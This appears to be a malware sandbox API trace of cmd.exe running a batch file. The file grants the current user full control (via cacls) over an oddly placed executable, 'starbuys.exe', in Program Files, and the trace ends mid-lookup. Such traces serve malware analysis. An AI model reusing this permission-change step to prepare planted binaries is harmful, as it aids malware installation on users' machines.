_wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0115.338] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0115.338] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0115.338] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0115.338] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0115.338] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0115.338] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0115.338] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0115.338] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0115.338] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0115.338] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0115.338] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0115.338] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0115.338] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0115.338] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0115.338] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0115.338] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0115.338] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0115.338] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0115.338] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0115.338] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0115.338] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0115.338] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0115.338] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0115.338] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0115.338] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0115.338] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0115.338] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0115.338] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0115.338] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0115.338] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0115.339] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0115.339] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0115.339] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0115.339] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0115.339] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0115.339] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0115.339] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0115.339] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0115.339] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0115.339] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0115.339] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0115.339] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0115.339] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0115.339] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0115.339] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0115.339] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0115.339] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0115.339] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0115.339] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0115.339] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0115.339] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0115.339] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0115.339] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0115.339] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0115.339] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0115.339] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0115.339] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0115.339] _wcsicmp (_String1="\"C", _String2="FOR") returned -68 [0115.339] _wcsicmp (_String1="\"C", _String2="IF") returned -71 [0115.339] _wcsicmp (_String1="\"C", _String2="REM") returned -80 [0115.339] GetProcessHeap () returned 0x5d0000 [0115.339] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x210) returned 0x5e3290 [0115.339] GetProcessHeap () returned 0x5d0000 [0115.339] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xfa) returned 0x5e34a8 [0115.341] _wcsnicmp (_String1="C:\\U", _String2="cmd ", _MaxCount=0x4) returned -51 [0115.341] GetProcessHeap () returned 0x5d0000 [0115.341] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x418) returned 0x5d07f0 [0115.341] SetErrorMode (uMode=0x0) returned 0x0 [0115.341] SetErrorMode (uMode=0x1) returned 0x0 [0115.341] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.", nBufferLength=0x208, lpBuffer=0x5d07f8, lpFilePart=0x2aefc8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2aefc8*="Desktop") returned 0x25 [0115.341] SetErrorMode (uMode=0x0) returned 0x1 [0115.341] GetProcessHeap () returned 0x5d0000 [0115.341] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5d07f0, Size=0x6e) returned 0x5d07f0 [0115.341] GetProcessHeap () returned 0x5d0000 [0115.341] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5d07f0) returned 0x6e [0115.341] NeedCurrentDirectoryForExePathW (ExeName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.") returned 1 [0115.341] GetProcessHeap () returned 0x5d0000 [0115.341] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x5a) returned 0x5e35b0 [0115.341] GetProcessHeap () returned 0x5d0000 [0115.341] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xa8) returned 0x5e3618 [0115.342] GetProcessHeap () returned 0x5d0000 [0115.342] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e3618, Size=0x5a) returned 0x5e3618 [0115.342] GetProcessHeap () returned 0x5d0000 [0115.342] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5e3618) returned 0x5a [0115.342] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0115.342] GetProcessHeap () returned 0x5d0000 [0115.342] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xe0) returned 0x5d0868 [0115.345] GetProcessHeap () returned 0x5d0000 [0115.345] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5d0868, Size=0x76) returned 0x5d0868 [0115.345] GetProcessHeap () returned 0x5d0000 [0115.345] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5d0868) returned 0x76 [0115.345] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0115.345] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", fInfoLevelId=0x1, lpFindFileData=0x2aed64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2aed64) returned 0x5e3680 [0115.345] GetProcessHeap () returned 0x5d0000 [0115.345] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x14) returned 0x5e1828 [0115.345] FindClose (in: hFindFile=0x5e3680 | out: hFindFile=0x5e3680) returned 1 [0115.346] _wcsicmp (_String1=".bat", _String2=".CMD") returned -1 [0115.346] _wcsicmp (_String1=".bat", _String2=".BAT") returned 0 [0115.346] GetConsoleTitleW (in: lpConsoleTitle=0x2af23c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0115.346] GetProcessHeap () returned 0x5d0000 [0115.346] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x11c) returned 0x5d08e8 [0115.346] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x754b0000 [0115.346] GetProcAddress (hModule=0x754b0000, lpProcName="SaferIdentifyLevel") returned 0x754d2102 [0115.346] IdentifyCodeAuthzLevelW () returned 0x1 [0115.354] GetProcAddress (hModule=0x754b0000, lpProcName="SaferComputeTokenFromLevel") returned 0x754d3352 [0115.354] ComputeAccessTokenFromCodeAuthzLevel () returned 0x1 [0115.354] GetProcAddress (hModule=0x754b0000, lpProcName="SaferCloseLevel") returned 0x754d3825 [0115.354] CloseCodeAuthzLevel () returned 0x1 [0115.354] SetErrorMode (uMode=0x0) returned 0x0 [0115.354] SetErrorMode (uMode=0x1) returned 0x0 [0115.354] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", nBufferLength=0x104, lpBuffer=0x5e3298, lpFilePart=0x2af128 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFilePart=0x2af128*="Bt3xnwko.bat") returned 0x32 [0115.354] SetErrorMode (uMode=0x0) returned 0x1 [0115.355] GetProcessHeap () returned 0x5d0000 [0115.355] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x72) returned 0x5f2bd8 [0115.355] wcsspn (_String=" \"C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe\"", _Control=" \x09") returned 0x1 [0115.355] GetProcessHeap () returned 0x5d0000 [0115.355] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x8e) returned 0x5d11b8 [0115.355] GetProcessHeap () returned 0x5d0000 [0115.355] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x114) returned 0x5f4b40 [0115.355] GetProcessHeap () returned 0x5d0000 [0115.355] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5f4b40, Size=0x90) returned 0x5f4b40 [0115.355] GetProcessHeap () returned 0x5d0000 [0115.355] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5f4b40) returned 0x90 [0115.355] CmdBatNotification () returned 0x5e32fa [0115.355] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x2af16c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0115.355] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0115.355] _get_osfhandle (_FileHandle=3) returned 0x78 [0115.356] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.356] _get_osfhandle (_FileHandle=3) returned 0x78 [0115.356] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.356] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x2af150, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x2af150*=0xe2, lpOverlapped=0x0) returned 1 [0115.357] SetFilePointer (in: hFile=0x78, lDistanceToMove=32, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0115.357] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=32, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="cacls %1 /E /G %USERNAME%:F /C\r\n") returned 32 [0115.358] _get_osfhandle (_FileHandle=3) returned 0x78 [0115.358] GetFileType (hFile=0x78) returned 0x1 [0115.358] _get_osfhandle (_FileHandle=3) returned 0x78 [0115.358] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0115.358] GetProcessHeap () returned 0x5d0000 [0115.358] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x400a) returned 0x5e6b08 [0115.358] GetProcessHeap () returned 0x5d0000 [0115.358] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x4008) returned 0x5f4bd8 [0115.358] GetProcessHeap () returned 0x5d0000 [0115.358] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x1a) returned 0x5e5858 [0115.358] GetEnvironmentVariableW (in: lpName="USERNAME", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="5p5NrGJn0jS HALPmcxz") returned 0x14 [0115.358] GetProcessHeap () returned 0x5d0000 [0115.359] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e5858 | out: hHeap=0x5d0000) returned 1 [0115.359] GetProcessHeap () returned 0x5d0000 [0115.359] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5f4bd8 | out: hHeap=0x5d0000) returned 1 [0115.359] GetProcessHeap () returned 0x5d0000 [0115.359] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e6b08 | out: hHeap=0x5d0000) returned 1 [0115.359] _wcsicmp (_String1="cacls", _String2=")") returned 58 [0115.359] _wcsicmp (_String1="FOR", _String2="cacls") returned 3 [0115.359] _wcsicmp (_String1="FOR/?", _String2="cacls") returned 3 [0115.359] _wcsicmp (_String1="IF", _String2="cacls") returned 6 [0115.359] _wcsicmp (_String1="IF/?", _String2="cacls") returned 6 [0115.359] _wcsicmp (_String1="REM", _String2="cacls") returned 15 [0115.359] _wcsicmp (_String1="REM/?", _String2="cacls") returned 15 [0115.359] GetProcessHeap () returned 0x5d0000 [0115.359] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5d1250 [0115.359] GetProcessHeap () returned 0x5d0000 [0115.359] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x14) returned 0x5e36b0 [0115.361] GetProcessHeap () returned 0x5d0000 [0115.361] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xd0) returned 0x5e41a8 [0115.362] _tell (_FileHandle=3) returned 32 [0115.362] _close (_FileHandle=3) returned 0 [0115.362] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2aef24 | out: _Buffer="\r\n") returned 2 [0115.362] _get_osfhandle (_FileHandle=1) returned 0x7 [0115.612] GetFileType (hFile=0x7) returned 0x2 [0115.612] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0115.612] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2aeee4 | out: lpMode=0x2aeee4) returned 1 [0115.613] _get_osfhandle (_FileHandle=1) returned 0x7 [0115.613] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x2aef10, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x2aef10*=0x2) returned 1 [0115.613] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0115.613] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0115.613] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2aef20 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0115.613] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2aef20 | out: _Buffer=">") returned 1 [0115.614] _get_osfhandle (_FileHandle=1) returned 0x7 [0115.614] GetFileType (hFile=0x7) returned 0x2 [0115.614] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0115.614] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2aeee8 | out: lpMode=0x2aeee8) returned 1 [0115.614] _get_osfhandle (_FileHandle=1) returned 0x7 [0115.614] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x2aef14, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x2aef14*=0x26) returned 1 [0115.615] _get_osfhandle (_FileHandle=1) returned 0x7 [0115.615] GetFileType (hFile=0x7) returned 0x2 [0115.615] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0115.615] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2af16c | out: lpMode=0x2af16c) returned 1 [0115.615] _get_osfhandle (_FileHandle=1) returned 0x7 [0115.615] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x5e36b8*, nNumberOfCharsToWrite=0x5, lpNumberOfCharsWritten=0x2af198, lpReserved=0x0 | out: lpBuffer=0x5e36b8*, lpNumberOfCharsWritten=0x2af198*=0x5) returned 1 [0115.616] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x2af1a4 | out: _Buffer=" \"C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe\" /E /G 5p5NrGJn0jS HALPmcxz:F /C ") returned 100 [0115.616] _get_osfhandle (_FileHandle=1) returned 0x7 [0115.616] GetFileType (hFile=0x7) returned 0x2 [0115.616] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0115.616] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2af164 | out: lpMode=0x2af164) returned 1 [0115.616] _get_osfhandle (_FileHandle=1) returned 0x7 [0115.616] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x64, lpNumberOfCharsWritten=0x2af190, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x2af190*=0x64) returned 1 [0115.617] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2af1c4 | out: _Buffer="\r\n") returned 2 [0115.617] _get_osfhandle (_FileHandle=1) returned 0x7 [0115.617] GetFileType (hFile=0x7) returned 0x2 [0115.617] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0115.617] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2af184 | out: lpMode=0x2af184) returned 1 [0115.617] _get_osfhandle (_FileHandle=1) returned 0x7 [0115.617] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x2af1b0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x2af1b0*=0x2) returned 1 [0115.618] _wcsicmp (_String1="cacls", _String2="DIR") returned -1 [0115.618] _wcsicmp (_String1="cacls", _String2="ERASE") returned -2 [0115.618] _wcsicmp (_String1="cacls", _String2="DEL") returned -1 [0115.618] _wcsicmp (_String1="cacls", _String2="TYPE") returned -17 [0115.618] _wcsicmp (_String1="cacls", _String2="COPY") returned -14 [0115.618] _wcsicmp (_String1="cacls", _String2="CD") returned -3 [0115.618] _wcsicmp (_String1="cacls", _String2="CHDIR") returned -7 [0115.618] _wcsicmp (_String1="cacls", _String2="RENAME") returned -15 [0115.618] _wcsicmp (_String1="cacls", _String2="REN") returned -15 [0115.618] _wcsicmp (_String1="cacls", _String2="ECHO") returned -2 [0115.618] _wcsicmp (_String1="cacls", _String2="SET") returned -16 [0115.618] _wcsicmp (_String1="cacls", _String2="PAUSE") returned -13 [0115.618] _wcsicmp (_String1="cacls", _String2="DATE") returned -1 [0115.618] _wcsicmp (_String1="cacls", _String2="TIME") returned -17 [0115.618] _wcsicmp (_String1="cacls", _String2="PROMPT") returned -13 [0115.618] _wcsicmp (_String1="cacls", _String2="MD") returned -10 [0115.618] _wcsicmp (_String1="cacls", _String2="MKDIR") returned -10 [0115.618] _wcsicmp (_String1="cacls", _String2="RD") returned -15 [0115.618] _wcsicmp (_String1="cacls", _String2="RMDIR") returned -15 [0115.618] _wcsicmp (_String1="cacls", _String2="PATH") returned -13 [0115.618] _wcsicmp (_String1="cacls", _String2="GOTO") returned -4 [0115.618] _wcsicmp (_String1="cacls", _String2="SHIFT") returned -16 [0115.618] _wcsicmp (_String1="cacls", _String2="CLS") returned -11 [0115.618] _wcsicmp (_String1="cacls", _String2="CALL") returned -9 [0115.618] _wcsicmp (_String1="cacls", _String2="VERIFY") returned -19 [0115.618] _wcsicmp (_String1="cacls", _String2="VER") returned -19 [0115.618] _wcsicmp (_String1="cacls", _String2="VOL") returned -19 [0115.619] _wcsicmp (_String1="cacls", _String2="EXIT") returned -2 [0115.619] _wcsicmp (_String1="cacls", _String2="SETLOCAL") returned -16 [0115.619] _wcsicmp (_String1="cacls", _String2="ENDLOCAL") returned -2 [0115.619] _wcsicmp (_String1="cacls", _String2="TITLE") returned -17 [0115.619] _wcsicmp (_String1="cacls", _String2="START") returned -16 [0115.619] _wcsicmp (_String1="cacls", _String2="DPATH") returned -1 [0115.619] _wcsicmp (_String1="cacls", _String2="KEYS") returned -8 [0115.619] _wcsicmp (_String1="cacls", _String2="MOVE") returned -10 [0115.619] _wcsicmp (_String1="cacls", _String2="PUSHD") returned -13 [0115.619] _wcsicmp (_String1="cacls", _String2="POPD") returned -13 [0115.619] _wcsicmp (_String1="cacls", _String2="ASSOC") returned 2 [0115.619] _wcsicmp (_String1="cacls", _String2="FTYPE") returned -3 [0115.619] _wcsicmp (_String1="cacls", _String2="BREAK") returned 1 [0115.619] _wcsicmp (_String1="cacls", _String2="COLOR") returned -14 [0115.619] _wcsicmp (_String1="cacls", _String2="MKLINK") returned -10 [0115.619] _wcsnicmp (_String1="cacl", _String2="cmd ", _MaxCount=0x4) returned -12 [0115.619] GetProcessHeap () returned 0x5d0000 [0115.619] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x418) returned 0x5e4280 [0115.619] SetErrorMode (uMode=0x0) returned 0x0 [0115.619] SetErrorMode (uMode=0x1) returned 0x0 [0115.619] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x5e4288, lpFilePart=0x2aef68 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2aef68*="Desktop") returned 0x25 [0115.619] SetErrorMode (uMode=0x0) returned 0x1 [0115.620] GetProcessHeap () returned 0x5d0000 [0115.620] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4280, Size=0x60) returned 0x5e4280 [0115.620] GetProcessHeap () returned 0x5d0000 [0115.620] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5e4280) returned 0x60 [0115.620] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0115.620] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0115.620] GetProcessHeap () returned 0x5d0000 [0115.620] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x120) returned 0x5e42e8 [0115.620] GetProcessHeap () returned 0x5d0000 [0115.620] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x238) returned 0x5e4410 [0115.621] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0115.622] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x2aece4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2aece4) returned 0xffffffff [0115.622] GetLastError () returned 0x2 [0115.622] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls", fInfoLevelId=0x1, lpFindFileData=0x2aece4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2aece4) returned 0xffffffff [0115.622] GetLastError () returned 0x2 [0115.622] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0115.622] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x2aece4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2aece4) returned 0x5e45c0 [0115.622] GetProcessHeap () returned 0x5d0000 [0115.623] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e1828, Size=0x4) returned 0x5e1828 [0115.623] FindClose (in: hFindFile=0x5e45c0 | out: hFindFile=0x5e45c0) returned 1 [0115.623] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.COM", fInfoLevelId=0x1, lpFindFileData=0x2aece4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2aece4) returned 0xffffffff [0115.623] GetLastError () returned 0x2 [0115.623] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.EXE", fInfoLevelId=0x1, lpFindFileData=0x2aece4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2aece4) returned 0x5e45c0 [0115.623] FindClose (in: hFindFile=0x5e45c0 | out: hFindFile=0x5e45c0) returned 1 [0115.623] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0115.623] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0115.623] GetConsoleTitleW (in: lpConsoleTitle=0x2aed34, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0115.624] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x5e48c8, lpFilePart=0x2ae854 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2ae854*="Desktop") returned 0x25 [0115.624] SetErrorMode (uMode=0x0) returned 0x1 [0115.624] GetProcessHeap () returned 0x5d0000 [0115.624] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e48c0, Size=0x60) returned 0x5e48c0 [0115.624] GetProcessHeap () returned 0x5d0000 [0115.624] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5e48c0) returned 0x60 [0115.624] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0115.624] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0115.624] GetProcessHeap () returned 0x5d0000 [0115.624] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x120) returned 0x5e4928 [0115.624] GetProcessHeap () returned 0x5d0000 [0115.624] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x238) returned 0x5e4a50 [0115.624] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0115.624] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x2ae5d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ae5d0) returned 0xffffffff [0115.624] GetLastError () returned 0x2 [0115.625] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls", fInfoLevelId=0x1, lpFindFileData=0x2ae5d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ae5d0) returned 0xffffffff [0115.625] GetLastError () returned 0x2 [0115.625] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0115.625] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x2ae5d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ae5d0) returned 0x5e4c00 [0115.625] FindClose (in: hFindFile=0x5e4c00 | out: hFindFile=0x5e4c00) returned 1 [0115.625] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.COM", fInfoLevelId=0x1, lpFindFileData=0x2ae5d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ae5d0) returned 0xffffffff 